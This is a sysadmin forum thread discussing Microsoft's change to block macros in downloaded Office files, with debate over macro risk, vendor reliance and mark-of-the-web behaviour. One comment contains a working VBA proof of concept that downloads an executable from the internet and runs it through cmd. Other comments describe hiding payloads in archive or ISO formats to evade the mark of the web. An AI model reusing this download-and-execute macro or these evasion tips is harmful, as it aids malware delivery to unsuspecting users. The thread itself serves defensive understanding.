e14d•

Agreed

11
zedfox•

Splendid.

It's often recommended that Powershell, cmd, wscript etc. are blocked from connecting to the internet to reduce the risk of ransomware, would it also make sense to block Excel?

10
legacymedia92I don't know what I'm doing, but its working, so I don't stop•

Probably depends on your organization. Excel sheets can be set up to automatically pull data from the internet, and sometimes this is vital to business operations (or just really bloody useful, imagine having one button to click to see current prices from different manufacturers on the same product).

11
darkzolotoSTANDARD NERDS!•

Arguably it shouldn't be Excel doing the work but an internal web based site.

-1
legacymedia92I don't know what I'm doing, but its working, so I don't stop•

While possible to argue, excel has built in webscraping, and its a heck of a lot easer to use something off the shelf than make your own.

2
darkzolotoSTANDARD NERDS!•

I look at it this way: make your own with excel macros and likely leaving a terrible technical debt/legacy -or- code up something proper with a repo on Github/elsewhere in-house where it has a chance of not being malicious code the user grabs from some excel self-help site.

0
disclosure5•

I don't believe it's ever Excel doing this directly. Macros usually spawn Powershell commands to do the download for them.

Really the fact was that downloaded unsigned executables have massive warnings and browsers really try to stop you, downloaded Powershell scripts simply open in the text editor and won't execute unless you know what you're doing, but downloaded Excel spreadsheets prompt you to "enable content", which sounds safe, but literally allowed them to just run arbitrary executables and undo all that good work elsewhere.

4
starmizzleS-1-5-420-512•

Excel can connect to external sources to pull data, this is not the same as code downloading an executable and running it.

1
jmbpiano•

Excel macros, if permitted to run, can download arbitrary executables from the Internet and execute them. I just whipped this together in a few minutes as a proof of concept from examples I googled:

Sub DownloadApp()

Dim myURL As String
myURL = "https://launchpadlibrarian.net/579146843/VeraCrypt Setup 1.25.7.exe"

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL
WinHttpReq.send

If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile "C:\users\public\downloads\setup.exe", 2
    oStream.Close

    Call Shell("cmd /k C:\users\public\downloads\setup.exe", vbNormalFocus)
End If

End Sub

The only version of Excel I have handy ATM is 2013, so maybe things have changed in the interim, but it executed flawlessly for me.

2
disclosure5•

so maybe things have changed

Pretty sure vbscript hasn't changed since Office 2003.

2
disclosure5•

Wow

I mean security people have been asking for action in this space for years and years. Prominent people were talking about this just two days ago:

https://nitter.net/gentilkiwi/status/1488937687281242116#m https://nitter.net/NathanMcNulty/status/1490078604369154049#m

Kevin Beaumont's not joking here, he was extremely critical of Microsoft's macro situation while he was working there:

https://nitter.net/GossiTheDog/status/1490739024922910722#m

7
lordjedi•

And how can they be reenabled? I'm thinking about orgs where the IT guy might have searched the Internet, found a macro that'll do what he/she needs, analyzed the code it make sure it's safe, and then decides to use it. Or do they just have to copy and paste into a new file for it to work (an extra step, but no big deal)?

2
disclosure5•

You can revert the change with the same group policy you have now, it's just that the default has changed.

But don't do this. Just go to file properties and click "unblock" there, or use Powershell Unblock-File on an as needed basis.

I don't think your scenario really fits. An IT person copying a macro into a spreadsheet they created isn't going to match the "Excel downloaded from web" marker.

2
Level-Search-255Sysadmin•

About time!

1
alarmologistComputer Janitor•

Does anybody even use macros besides ransomware gangs?

I use macros I write, but only because I suck at SQL :(

1
axis757OP•

Unfortunately our credit analyst department regularly works with macro sheets from one of our vendors.

I also got an excel macro from a vendor last week for what was essentially just a form to get some info from us... Said nope pretty quick to that.

3
KadahCobaIT Manager•

Does anybody even use macros besides ransomware gangs?

Yes, too many, and its a nightmare. Likely why this is a decade overdue. Hopefully the various vendors that require globally enabled macros finally figured their shit out and update to something that isn't a massive malware vector.

1
starmizzleS-1-5-420-512•

It's simple: require them to be signed by a trusted certificate. Done.

1
KadahCobaIT Manager•

I wish that I could make them do that. That might be their "fix" for this change though and we'll have to trust an external signer that anybody using that platform can get docm signed with that cert...

1
starmizzleS-1-5-420-512•

VBA adds an insane level of power and flexibility to Office applications. Hell yes, we do.

1
starmizzleS-1-5-420-512•

One of my many hats is VBA expert and it's pretty silly that there aren't tiers of permissible code. For example, string manipulation is 100% harmless. Importing and exporting data into spreadsheets is relatively harmless. Downloading a file from the internet and executing it has LOTS of potential to be harmful.

But nah, we'll just disable ALL code execution to be safe. Okay.

1
indigo945•

Sandboxing code to allow some types of actions, but not others, is hard to get right (see the history of Javascript exploits). Preventing all execution is probably easier than trying to monkey-patch proper access controls into an execution engine for an outdated programming language that hasn't really changed since 2003.

2
DarKuntu•

Pretty useless, not bad to activate, but not much of help either, because that is easily avoidable, just put the payload into a zip file...then the zip file has the internetbit but not its content

-2†
ANewLeeSinLifeSysadmin•

This is not true. You can check yourself with PowerShell:

Get-Content -Path MyPath\MyZippedDoc.zip -Stream Zone.Identifier

You will see that the ZoneID is 3, which means Internet Zone. It will also show you where it came from. Now, extract the file and check the extracted file:

Get-Content -Path MyPath\MyExtractedDoc.doc -Stream Zone.Identifier

You will see it inherited the Zone from the zip, and the referrer is the zip file. :)

4
DarKuntu•

Just use any fileformat which does not support or may not support the mark of the web (for example zip if you use some common archivers like 7zip), there are dozens of archive formats and programs which do not support the feature. That is a known avoidance method why the real payload is often hidden in other archives, lately iso is a top favorite too. Don't feel too save with that feature, believe me it is nice to have but easy to avoid.

1
ANewLeeSinLifeSysadmin•

Yeah, I'm familiar with the 7zip thing, but that was a bug in an older version because it copies the file to a tmp directory, marks it as safe, and then copies it to the actual folder the user selected. Even if you use the sns flag in 7zip now all you can do is add more streams, but not replace the zone identifier stream. I tried zip, rar, and 7z types using 3 programs and can't make it wipe the referrer or zone identifier streams. Maybe there is an unusual process an end-user can go through to accomplish this, but they are unlikely to know how without already having their system compromised by other means.

I would definitely be curious to see who allows iso files to be emailed :)

1
DarKuntu•

Ok thank you for the update I have to test that again.

Microsoft does the new change for private persons (in enterprise there are hopefully policies already enforcing that) so iso will be an attack vector

1